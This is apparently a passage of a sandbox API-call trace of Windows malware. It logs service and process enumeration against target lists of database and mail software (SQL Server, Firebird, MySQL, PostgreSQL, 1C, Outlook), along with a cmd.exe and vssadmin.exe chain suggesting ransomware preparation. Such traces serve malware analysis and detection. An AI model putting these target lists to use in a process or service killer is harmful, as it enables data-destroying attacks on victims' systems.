[0044.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.286] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.286] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.286] lstrlenW (lpString="UxSms") returned 5 [0044.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.286] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.286] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.286] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.286] lstrlenW (lpString="VSS") returned 3 [0044.286] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0044.286] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0044.286] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0044.287] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0044.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0044.287] lstrlenW (lpString="WdiServiceHost") returned 14 [0044.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0044.287] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0044.287] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0044.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0044.287] lstrlenW (lpString="WdiSystemHost") returned 13 [0044.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0044.287] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0044.287] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0044.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0044.287] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0044.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0044.287] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0044.287] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0044.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0044.287] lstrlenW (lpString="Winmgmt") returned 7 [0044.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0044.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0044.287] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0044.287] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0044.287] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0044.287] lstrlenW (lpString="WPDBusEnum") returned 10 [0044.287] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.287] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0044.287] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0044.288] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0044.288] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0044.288] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0044.288] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x208 [0044.290] Process32FirstW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0044.291] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0044.291] lstrlenW (lpString="System") returned 6 [0044.291] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0044.291] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0044.291] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0044.291] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0044.291] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0044.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0044.292] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0044.292] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0044.292] lstrlenW (lpString="smss.exe") returned 8 [0044.292] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0044.292] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0044.292] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0044.292] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0044.292] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0044.292] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0044.293] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0044.293] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.293] lstrlenW (lpString="csrss.exe") returned 9 [0044.293] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0044.293] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0044.293] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0044.293] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0044.293] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0044.293] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0044.293] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0044.293] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0044.294] lstrlenW (lpString="wininit.exe") returned 11 [0044.294] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0044.294] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0044.294] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0044.294] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0044.295] lstrlenW (lpString="csrss.exe") returned 9 [0044.295] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0044.296] lstrlenW (lpString="winlogon.exe") returned 12 [0044.296] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0044.296] lstrlenW (lpString="services.exe") returned 12 [0044.297] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0044.297] lstrlenW (lpString="lsass.exe") returned 9 [0044.297] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0044.298] lstrlenW (lpString="lsm.exe") returned 7 [0044.298] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.299] lstrlenW (lpString="svchost.exe") returned 11 [0044.299] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.299] lstrlenW (lpString="svchost.exe") returned 11 [0044.299] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.300] lstrlenW (lpString="svchost.exe") returned 11 [0044.300] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.301] lstrlenW (lpString="svchost.exe") returned 11 [0044.301] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.301] lstrlenW (lpString="svchost.exe") returned 11 [0044.301] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0044.302] lstrlenW (lpString="audiodg.exe") returned 11 [0044.302] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.303] lstrlenW (lpString="svchost.exe") returned 11 [0044.303] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.303] lstrlenW (lpString="svchost.exe") returned 11 [0044.319] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0044.320] lstrlenW (lpString="dwm.exe") returned 7 [0044.320] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0044.321] lstrlenW (lpString="explorer.exe") returned 12 [0044.321] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0044.321] lstrlenW (lpString="spoolsv.exe") returned 11 [0044.321] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.322] lstrlenW (lpString="taskhost.exe") returned 12 [0044.322] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.323] lstrlenW (lpString="svchost.exe") returned 11 [0044.323] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0044.323] lstrlenW (lpString="taskeng.exe") returned 11 [0044.323] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0044.324] lstrlenW (lpString="taskhost.exe") returned 12 [0044.324] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0044.325] lstrlenW (lpString="chem venues.exe") returned 15 [0044.325] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0044.350] lstrlenW (lpString="month.exe") returned 9 [0044.350] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0044.351] lstrlenW (lpString="glasgow.exe") returned 11 [0044.351] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0044.351] lstrlenW (lpString="rubber.exe") returned 10 [0044.352] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0044.353] lstrlenW (lpString="petroleum.exe") returned 13 [0044.353] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0044.354] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0044.354] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0044.355] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0044.355] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0044.355] lstrlenW (lpString="batman_oliver.exe") returned 17 [0044.355] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0044.356] lstrlenW (lpString="formation.exe") returned 13 [0044.356] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0044.357] lstrlenW (lpString="whole.exe") returned 9 [0044.357] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0044.357] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0044.358] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0044.358] lstrlenW (lpString="disorder.exe") returned 12 [0044.358] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0044.359] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0044.359] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0044.360] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0044.360] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0044.360] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0044.360] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0044.361] lstrlenW (lpString="perspective.exe") returned 15 [0044.361] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0044.362] lstrlenW (lpString="demand-site.exe") returned 15 [0044.362] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="attachment.exe")) returned 1 [0044.362] lstrlenW (lpString="attachment.exe") returned 14 [0044.362] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valid-permit.exe")) returned 1 [0044.363] lstrlenW (lpString="valid-permit.exe") returned 16 [0044.363] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knights.exe")) returned 1 [0044.364] lstrlenW (lpString="knights.exe") returned 11 [0044.364] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.365] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.365] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0044.365] lstrlenW (lpString="mobsync.exe") returned 11 [0044.365] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ohbdap.exe")) returned 1 [0044.366] lstrlenW (lpString="ohbdap.exe") returned 10 [0044.366] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.367] lstrlenW (lpString="cmd.exe") returned 7 [0044.367] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.368] lstrlenW (lpString="conhost.exe") returned 11 [0044.368] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0044.368] lstrlenW (lpString="vssadmin.exe") returned 12 [0044.368] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0044.369] lstrlenW (lpString="VSSVC.exe") returned 9 [0044.369] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0044.370] lstrlenW (lpString="svchost.exe") returned 11 [0044.370] Process32NextW (in: hSnapshot=0x208, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0044.371] CloseHandle (hObject=0x208) returned 1 [0044.371] Sleep (dwMilliseconds=0x1f4) [0045.135] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x530048 [0045.136] EnumServicesStatusExW (in: hSCManager=0x530048, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x219ff44, lpServicesReturned=0x219ff5c, lpResumeHandle=0x0) returned 0 [0045.136] GetLastError () returned 0xea [0045.136] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x40038c8 [0045.136] EnumServicesStatusExW (in: hSCManager=0x530048, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x40038c8, 